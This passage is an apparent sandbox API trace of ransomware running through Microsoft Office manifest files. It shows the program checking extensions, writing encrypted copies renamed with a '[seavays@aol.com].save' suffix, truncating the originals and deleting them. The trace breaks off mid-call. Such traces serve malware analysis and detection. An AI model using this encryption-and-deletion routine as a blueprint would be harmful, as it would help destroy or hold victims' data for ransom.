Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0060.184] lstrlenW (lpString=".zip") returned 4 [0060.184] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.184] lstrlenW (lpString=".rar") returned 4 [0060.184] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.184] lstrlenW (lpString=".bz2") returned 4 [0060.184] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.184] lstrlenW (lpString=".7z") returned 3 [0060.184] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0060.184] lstrlenW (lpString=".dbf") returned 4 [0060.184] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0060.184] lstrlenW (lpString=".1cd") returned 4 [0060.184] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0060.184] lstrlenW (lpString=".jpg") returned 4 [0060.184] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0060.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0060.184] lstrlenW (lpString=".doc") returned 4 [0060.184] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.184] lstrlenW (lpString=".docx") returned 5 [0060.184] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0060.184] lstrlenW (lpString=".pdf") returned 4 [0060.184] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.184] lstrlenW (lpString=".xls") returned 4 [0060.184] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.184] lstrlenW (lpString=".xlsx") returned 5 [0060.184] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0060.185] lstrlenW (lpString=".ppt") returned 4 [0060.185] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0060.185] lstrlenW (lpString=".zip") returned 4 [0060.185] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.185] lstrlenW (lpString=".rar") returned 4 [0060.185] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.185] lstrlenW (lpString=".bz2") returned 4 [0060.185] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.185] lstrlenW (lpString=".7z") returned 3 [0060.185] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0060.185] lstrlenW (lpString=".dbf") returned 4 [0060.185] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0060.185] lstrlenW (lpString=".1cd") returned 4 [0060.185] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0060.185] lstrlenW (lpString=".jpg") returned 4 [0060.185] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.185] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0060.185] lstrlenW (lpString="AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 53 [0060.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0060.186] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=1261) returned 1 [0060.186] CloseHandle (hObject=0x368) returned 1 [0060.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml")) returned 0x220 [0060.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0060.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0060.186] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0060.186] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0060.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0060.187] GetLastError () returned 0x0 [0060.187] ReadFile (in: hFile=0x368, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x4ed, lpOverlapped=0x0) returned 1 [0060.647] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x4f0, lpOverlapped=0x0) returned 1 [0060.648] ReadFile (in: hFile=0x368, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0060.648] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x13e, lpOverlapped=0x0) returned 1 [0060.648] SetEndOfFile (hFile=0x2f4) returned 1 [0060.648] CloseHandle (hObject=0x2f4) returned 1 [0060.649] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0060.650] SetEndOfFile (hFile=0x368) returned 1 [0060.650] CloseHandle (hObject=0x368) returned 1 [0060.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0060.651] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml")) returned 1 [0060.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0060.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0060.651] lstrlenW (lpString=".doc") returned 4 [0060.651] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.651] lstrlenW (lpString=".docx") returned 5 [0060.651] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0060.651] lstrlenW (lpString=".pdf") returned 4 [0060.651] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.651] lstrlenW (lpString=".xls") returned 4 [0060.651] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.651] lstrlenW (lpString=".xlsx") returned 5 [0060.651] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0060.651] lstrlenW (lpString=".ppt") returned 4 [0060.651] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0060.652] lstrlenW (lpString=".zip") returned 4 [0060.652] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.652] lstrlenW (lpString=".rar") returned 4 [0060.652] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.652] lstrlenW (lpString=".bz2") returned 4 [0060.652] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.652] lstrlenW (lpString=".7z") returned 3 [0060.652] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0060.652] lstrlenW (lpString=".dbf") returned 4 [0060.652] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0060.652] lstrlenW (lpString=".1cd") returned 4 [0060.652] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0060.652] lstrlenW (lpString=".jpg") returned 4 [0060.652] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0060.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0060.652] lstrlenW (lpString=".doc") returned 4 [0060.652] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.652] lstrlenW (lpString=".docx") returned 5 [0060.652] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0060.652] lstrlenW (lpString=".pdf") returned 4 [0060.652] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.652] lstrlenW (lpString=".xls") returned 4 [0060.652] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.652] lstrlenW (lpString=".xlsx") returned 5 [0060.652] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0060.652] lstrlenW (lpString=".ppt") returned 4 [0060.653] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0060.653] lstrlenW (lpString=".zip") returned 4 [0060.653] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.653] lstrlenW (lpString=".rar") returned 4 [0060.653] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.653] lstrlenW (lpString=".bz2") returned 4 [0060.653] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.653] lstrlenW (lpString=".7z") returned 3 [0060.653] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0060.653] lstrlenW (lpString=".dbf") returned 4 [0060.653] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0060.653] lstrlenW (lpString=".1cd") returned 4 [0060.653] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0060.653] lstrlenW (lpString=".jpg") returned 4 [0060.653] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.653] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0060.653] lstrlenW (lpString="AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 53 [0060.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0060.654] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=1261) returned 1 [0060.654] CloseHandle (hObject=0x368) returned 1 [0060.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml")) returned 0x220 [0060.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0060.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0060.654] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0060.654] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0060.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0060.655] GetLastError () returned 0x0 [0060.655] ReadFile (in: hFile=0x368, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x4ed, lpOverlapped=0x0) returned 1 [0060.656] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x4f0, lpOverlapped=0x0) returned 1 [0060.657] ReadFile (in: hFile=0x368, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0060.657] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x13e, lpOverlapped=0x0) returned 1 [0060.657] SetEndOfFile (hFile=0x2f4) returned 1 [0060.657] CloseHandle (hObject=0x2f4) returned 1 [0060.658] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0060.658] SetEndOfFile (hFile=0x368) returned 1 [0060.659] CloseHandle (hObject=0x368) returned 1 [0060.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0060.659] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml")) returned 1 [0060.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0060.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0060.660] lstrlenW (lpString=".doc") returned 4 [0060.660] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.660] lstrlenW (lpString=".docx") returned 5 [0060.660] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0060.660] lstrlenW (lpString=".pdf") returned 4 [0060.660] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.660] lstrlenW (lpString=".xls") returned 4 [0060.660] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.660] lstrlenW (lpString=".xlsx") returned 5 [0060.660] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0060.660] lstrlenW (lpString=".ppt") returned 4 [0060.660] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0060.660] lstrlenW (lpString=".zip") returned 4 [0060.660] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.660] lstrlenW (lpString=".rar") returned 4 [0060.660] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.660] lstrlenW (lpString=".bz2") returned 4 [0060.660] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.660] lstrlenW (lpString=".7z") returned 3 [0060.660] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0060.660] lstrlenW (lpString=".dbf") returned 4 [0060.660] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0060.660] lstrlenW (lpString=".1cd") returned 4 [0060.660] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0060.660] lstrlenW (lpString=".jpg") returned 4 [0060.661] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0060.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0060.661] lstrlenW (lpString=".doc") returned 4 [0060.661] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.661] lstrlenW (lpString=".docx") returned 5 [0060.661] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0060.661] lstrlenW (lpString=".pdf") returned 4 [0060.661] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.661] lstrlenW (lpString=".xls") returned 4 [0060.661] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.661] lstrlenW (lpString=".xlsx") returned 5 [0060.661] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0060.661] lstrlenW (lpString=".ppt") returned 4 [0060.661] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0060.661] lstrlenW (lpString=".zip") returned 4 [0060.661] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.661] lstrlenW (lpString=".rar") returned 4 [0060.661] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.661] lstrlenW (lpString=".bz2") returned 4 [0060.661] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.661] lstrlenW (lpString=".7z") returned 3 [0060.661] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0060.661] lstrlenW (lpString=".dbf") returned 4 [0060.661] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0060.661] lstrlenW (lpString=".1cd") returned 4 [0060.661] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0060.662] lstrlenW (lpString=".jpg") returned 4 [0060.662] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.662] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0060.662] lstrlenW (lpString="AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 53 [0060.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0060.662] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=1450) returned 1 [0060.662] CloseHandle (hObject=0x368) returned 1 [0060.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0060.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0060.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0060.662] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0060.663] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0060.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0060.663] GetLastError () returned 0x0 [0060.663] ReadFile (in: hFile=0x368, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x5aa, lpOverlapped=0x0) returned 1 [0060.664] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x5b0, lpOverlapped=0x0) returned 1 [0060.665] ReadFile (in: hFile=0x368, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0060.666] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x13e, lpOverlapped=0x0) returned 1 [0060.666] SetEndOfFile (hFile=0x2f4) returned 1 [0060.666] CloseHandle (hObject=0x2f4) returned 1 [0060.667] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0060.668] SetEndOfFile (hFile=0x368) returned 1 [0060.669] CloseHandle (hObject=0x368) returned 1 [0060.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0060.669] DeleteFileW 